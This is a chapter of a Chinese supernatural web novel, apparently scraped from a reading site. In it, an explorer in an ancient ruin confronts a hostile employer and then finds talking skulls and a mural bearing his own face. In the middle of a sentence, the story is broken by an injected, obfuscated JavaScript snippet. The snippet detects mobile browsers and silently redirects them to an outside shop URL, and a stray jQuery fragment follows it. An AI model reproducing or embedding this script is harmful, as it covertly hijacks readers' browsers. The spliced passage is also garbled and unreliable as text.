文趣网 > 其他小说 > 死掉的前男友好像又活了 > 10. 墙上的男人白骨幻听
    坎特一口一个堂哥,口口声声要调查凯奇死亡的真相。可我知道,他大概率是妄想通过调查出凯奇这位家族继承人的死因,好让自己名正言顺地取而代之。

    不过这分量并不够。

    所以他会对凯奇都想要的古神遗迹宝藏动心。庞大的财富与神秘的力量,是通往家族至高权力的阶梯。

    像他一样贪婪地索求这些东西的人,我见得太多了。

    更妙的是,即使是在这么多人里,坎特的脑子也愚钝得出奇。

    相比之下,恺撒就有点让我琢磨不透了。

    通过这几天的相处,我发现他和坎特仅仅只是雇佣关系,可又偏偏不像是简单的受雇者。

    很多时候,他不在乎坎特是怎么想的,而坎特甚至会害怕他。

    虽然我不明白这种畏惧从何而来,但是这对于我而言是个好消息。

    恺撒对我有一种明显的兴趣,这种兴趣显然不是来自任务需求,甚至他对于我口中神秘学、古神宝藏也没有任何好奇。

    如果非要说,我怀疑那可能出自情/欲。

    我知道自己长得还不错,在一些人眼里甚至称得上是相当漂亮。

    虽然我还摸不准恺撒对我到底是个什么想法,但是必要的时候,我不介意利用他对于我的这种觊觎。

    反正也不是第一次了,不是吗?

    我垂下眼,看着掌心被掐出来的月牙血痕,冷笑一声。

    理清所有事情,我准备抓紧时间再睡一会,只有清醒的头脑和充沛的精力才能帮助我更好地打完接下来的硬仗。

    只是我刚翻过身,就撞进了恺撒近在咫尺的眼睛里。

    他一只手垫在脑后,另一只手搭在腰间,正饶有兴致地欣赏着我的神色,不知道在旁边看了多久。

    我被他吓了一大跳,刚刚脑海里所有构思出来的什么计划、盘算,全都忘到了脑后。

    自进入遗址后,我第一次丧失了理智,对着他破口大骂:“你是不是神经病啊?没事盯着我看干什么?”

    他听了,眨了眨眼,一脸无辜地说:“我只是提醒你该起床了,现在已经到时间了。”

    哈!

    我继续骂道:“你刚才还说自己不知道时间,一切都是瞎猜的呢,现在怎么又突然知道时间,告诉我该起床了?”

    他指了指帐篷外:“因为我们的老板、伟大的金主大人——亲爱的坎特先生已经起来了。”

    不用他说,适才我的声音刚落下,就听见了坎特骂骂咧咧的声音:“人都死哪去了?我花了那么多钱雇你们,可不是为了让你们在这度假的。”

    我刚走出帐篷,迎面就砸来了一个黑不拉几的东西。

    我还没反应过来,恺撒拽着我的手腕往后一扯,带着我一起躲了过去。

    我定神一看,居然是一个沉重的行军锅。

    坎特这人平日里看起来废物,只有到发起脾气来,才算得上是天赋异禀。

    这样想着,他又搬起了我们隔壁的帐篷,狠狠摔在地上。

    听他骂了半天,我才大概拼凑出原委。昨晚他没吃好,胃痛了一宿,却因为忌惮外面的危险硬生生憋在帐篷里。

    没想到第二天早晨他让罗格给他做饭的时候,却发现他们的帐篷里空荡荡的,一个人也没有。他反而还被帐篷里的地钉狠狠地痛击了一下。

    这下他那点少爷脾气彻底炸了,开始无差别地狂吠。

    一个人骂了半天独角戏无人回应,此刻见我们出来,才算是有了观众。他火气便更旺盛了。

    只是他的那个火却一点儿也不敢向恺撒去发泄,只能将一腔愤懑都撒到了我身上:“为什么所有人都不在了?你说是不是你动了手脚?”

    啊,没错,是我!是我动的手脚!

    从被他绑架过来的第一天开始,我就在动手,我又在动脚,我对这个遗址动手动脚!

    虽然他绑着我的手,虽然他固住我的脚,但是一出事一定是我动的手脚!

    这套逻辑简直和我以前在大学教书时遇到的那些无耻的主任、愚蠢的校长一模一样,无论是学生还是课题出了什么事,第一反应永远是:“休,是不是你没教好?”

    “安静点,坎特先生。”我忍不住嘲弄道,“你的钱只买了他们的命,没买他们的膀胱,人总有三急。”

    他狐疑地看着我:“你知道他们去干什么了?”

    我抱着胸,尽量平静地说:“比如说手拉手去撒个尿,然后比比谁更尿得远之类的。”

    没想到坎特想也不想地否认了:“这不可能!”

    我皱起眉,看着他咬牙说:“他们两个关系僵得要命。昨天在甬道里吵了一架,甚至还动起手。罗格亲口告诉我,要不是白豹是恺撒的手下,绝对会一枪崩了他。”

    “我猜白豹也是这么想的吧?”他看向恺撒。

    没想到恺撒竟然认同了:“是这样的,没错。”

    我看着恺撒满不在乎的样子,心里又觉得荒唐极了。

    他明明听见了、明明和我一起都听到了……

    “听到什么?”没想到他却疑惑地问。

    “他们两个一起离开的声音,你还问我要不要一起去。”我没好气地说。

    恺撒看着我:“我只是看着你一直盯着帐篷,以为你想去方便,但不好意思说,所以才问你的。”

    “……”

    我不敢置信地看着他的脸,觉得这一切都荒唐极了。

    如果他们说的是真的,那我听到的那两个人,语气亲密,像是要手拉手一起走的幼儿园好朋友的声音是什么?

    我又想起来那个一轻一重,只有一个人的脚步声。

    从我听到声音到现在,我们站在这里又说了很久的话,已经过去了相当长的一段时间。但是始终没有见到他们回来的影子。

    恺撒在营地看了一圈,最后找到了一串深浅不一的痕迹,他摸了摸地上只有一半的灰:“这里看起来像是他们的脚印。”

    但那看起来不像是完整直立行走的人,像是被什么东西拖着脖子拽走了。

    他顺着那串可能是他们痕迹的脚印往回走,一直走回了隧道深处,过了一会儿才回来:“他们走得很深,没有回来的痕迹。”

    我紧紧盯着地上那串痕迹看。

    他们为什么要进隧道?昨天隧道里才死了两个人,他们的尸体变成了血浆,永远地留在了黑暗里。没有人能鼓起勇气把他们带出来,罗格和白豹就算再愚蠢,也不至于在没有任何人跟随的情况下,主动走到那条隧道里。

    坎特忽然拔出了枪,对准了我:“我不会再相信你任何的谎言了。”

    他像条疯狗一样咆哮道,唾沫星子几乎要溅到我的脸上:“就是你动的手,对不对?你杀了凯奇,又弄死了皮特,现在罗格也失踪了,马上就要轮到我了,是吧?!”

    我本来很欣赏他的愚蠢,但此刻也被他无休止的纠缠耗尽了耐心。

    我冷笑着问:“我一直都在你的眼皮子底下,一步也没离开过。如果真是我干的,那你在干什么?”

    “你就眼睁睁地看着我把你们玩弄于股掌之中吗?哈,那我觉得他们离开可能只是单纯觉得你懦弱无能,跟着你毫无前途,于是想中途撤离抛弃你而已。”

    他涨红了脸,扣下扳机:“恶魔杂种,去死吧!”

    子弹擦着我的肩膀在身后的岩壁间炸开,震得我耳膜一阵刺痛,我眼前一花,恺撒就冲了过去。

    他抬腿踢中了坎特的手腕,将枪踢飞。坎特还没来得及痛呼出声,便被恺撒抬膝踹到腹部,接着整个人被摁在地上。

    “放开我,恺撒,你他妈到底是站在哪一边的?”坎特大叫。

    恺撒单膝压住他的背,手掌按在他的后颈,像是摁王八一样,把他牢牢摁在地上。

    坎特奋力挣扎,但一点也撼动不了恺撒的力气,只能用双臂徒劳地在地上滑了两下,更像是一个翻盖的王八了。

    他涨红了脸,努力吼道:“我知道了,你和斯蒂芬那个杂种是一伙的,你和他商量好了,要杀掉我,独吞宝藏!”

    恺撒一句话也没说,看起来是懒得搭理他。

    我严重怀疑这是坎特自己心里阴暗的盘算,在夜里琢磨了无数回,现在全扣到了恺撒头上。

    我叹了一口气,刚刚一直激动的心情忽然平复了下来。

    我把坎特的枪捡了起来,走到坎特面前,他一下子就紧绷起了背。

    “坎特先生,如果你想杀我,现在已经错过机会了。”我将枪口抵向他的脑袋。

    看着他目眦欲裂,想要装作不在意,但腿已经抖得像电动机一样的模样,笑着关上了保险栓:“但是我不会杀你的。”

    我看着他的眼睛:“罗格和白豹不是我杀的,包括昨天死的那两个人也一样。他们的失踪和死亡从不在我的计划里。所以我不会杀你。”

    “但是我希望你在接下来的时间里,学会克制一下自己的脾气。毕竟在这种危机四伏的地方,我们不是你的下属,不会去听你那些不着四六的话。不然别说找到宝藏,我们可能死得会比他们还惨。”

    坎特脸色铁青,神情阴晴不定,但最终还是屈辱地低下了头,恺撒这才松开了手。

    他从地上爬了起来,拍了拍身上的灰,看着幽黑的甬道深处说:“现在开下一扇门吧,我们不要再等了。”

    我内心隐隐觉得有些不妥,但那两人不在,局势才能更有利于我,于是便没有出言反驳。

    至于恺撒,他放开坎特后便一言不发,一直看着我,不知道他在想什么。

    我提醒他:“恺撒,你觉得呢?”

    他听了,像是终于缓过神一样,对我笑了一下:“可以。”

    我在第二扇门侧面的凹槽处按下第三块砖,嘴里念念有词道:“您是注视,也是聆听,我乞求您的垂怜……”

    坎特在后面对恺撒说:“也不知道他念的那些鬼东西到底是什么,我总觉得古里古怪的,虽然他总说自己老实本分,但我觉得不见得。”

    我念的是正经的古神语,即使是真神降临,也挑不出

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874373|211953||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    任何错处。我不会在这些细枝末节处糊弄。毕竟凯奇和戴维斯可不是他这种脑袋空空的废柴。

    “……我在这里,请求您回应。”

    【好。】

    冥冥之中,我听见有人答应了我。

    那声音离我很近,就在我耳畔,似乎那人就贴在我耳后吐息,冷得我半边脖颈都泛起了细小鸡皮。

    我猛地转过头。

    坎特捂着鼻子,一脸嫌弃地拍打着前面的灰,恺撒提着灯望着我,眉梢轻抬:“怎么了?”

    我盯着他:“你刚才说话了吗?”

    “没有。”

    “那坎特呢?”

    坎特立刻骂道:“你他妈是不是有毛病?我就站在这里,说没说话你听不出来吗?”

    那是谁在说话?

    这时,被我按着的开关终于起作用了,整扇门震动了起来,隆隆地向两侧展开。

    坎特也顾不上骂我了,欣喜地从我身边挤了进去。

    那个声音也消失了。

    难道是幻觉吗?

    这扇门后面是一间方正的石室,石室中央摆着一张黑色长桌。桌面两侧整整齐齐地摆放着两列白色头骨,他们似乎已经死了多年,头颅顶上泛着一层陈旧的黄,空荡荡的眼窝全部看着正前方。

    看到这熟悉恐怖的场景,我胸口堵的那股气终于散了。

    恺撒忽然幽幽道:“怎么?这地方,教授觉得很熟悉?”

    他语气又开始怪里怪气,不知道在抽什么风。

    不过我还是和善地点了点头,也算是对坎特介绍:“没错,就是这里,我们两年前进来的也是这,所有东西都一模一样,放心吧,这里应该挺安全的。”

    坎特听了也长长舒了一口气,胆子大了起来,举着探照灯开始四处晃悠。

    忽然他停了下来,指着旁边一片墙,疑惑地问我:“斯蒂芬,这里是什么东西?我怎么觉得这墙上的男人有点像你?”

    墙上的……男人?

    墙上哪有什么男人?

    我疑惑:“你在墙上看见什么了?”

    “过来看啊,这不就是你吗?”

    他说着往墙边挪了一步,拿着探照灯照在墙上,惨白的光束晃悠悠地打在墙上,照出墙壁上暗色的污迹。

    那颜色像血,又像灰。

    我离得越近,就能越看清那滩“污迹”,从模糊的色块,到显露出人的轮廓。

    最后,我看着那清晰的人脸与熟悉的五官不知所措。

    坎特说的没错,画上的人确实很像我。

    同样消瘦的身体、亚麻色的长发,以及那张我每天都能看到的脸。只是他穿着一件奇怪的长袍,有点像中世纪的牧师。

    我确定自己从来没穿过那样的衣服。

    他的神情很惊恐,瞳孔放大到极致,仿佛看到了什么可怕的东西,双手捂着脖颈,指尖渗出血迹。

    他张皇地向后看,在他后面,有比人的轮廓更深的一团污迹——无数细小的颗粒凝聚在一起,形成了一团深色的雾。

    我窥望着雾团,时间久了,竟觉得它蠕动着、扭曲着、伸出一根根长长的触须伸向画中人的肩膀,从他腰间和衣摆下穿过,又紧紧缠绕在他的胸口……

    他看起来更惊恐了。

    他绝望地抬起头,我看到了那双盈盈的紫色眼眸。

    那眸子中的痛苦和祈求似乎通过画面传递给了我,我的胸口骤然也像被捏住了般发疼窒息。

    疼,太疼了……

    我捂住胸口眼前一黑,喃喃自语:“这到底是什么?”

    “这到底是什么——?”我的耳畔响起一道回音。

    那声音是那样的整齐,虽然像是许许多多的人同时开口说话,但每个字都很清晰,清晰到像许许多多的人贴着我的耳畔一起说话一样。

    我倏然侧过脸,坎特站在墙边,离我足足有几步远,恺撒更是一直留在石门附近,看起来从没动过。

    坎特见我东张西望,不耐烦道:“又怎么了?”

    我蹭掉头上的冷汗,额头后面神经钝钝地疼,一直没有好过的头痛现在反而让我感受到了清醒。

    我说:“我的头痛又犯了,刚才好像出现了幻听。”

    “出现了幻听——?”那声音紧跟着我,又整齐地响了起来。

    不等我再开口,坎特便皱着眉头说:“你说的是这个声音吗?”

    他莫名其妙地看着我,就好像我忽然郑重其事地和他强调“是的,白日会有一个太阳,天上挂着的不是三个月亮”一样。

    他抬起手指向我身后的长桌,很自然地说道:“没出现幻听啊,不就是它们在说话吗?”

    咔、咔。

    我听见自己僵硬地扭过脖子,发出“咔咔”的声响。

    桌面上,原本朝着正前方的十八颗头骨,此刻已全部转过了脑袋。三十六只空洞洞的眼窝,死死地看着我。

    它们整齐地张开嘴,上下颌骨一上一下地碰撞着:

    “斯蒂芬,你想要干什么?”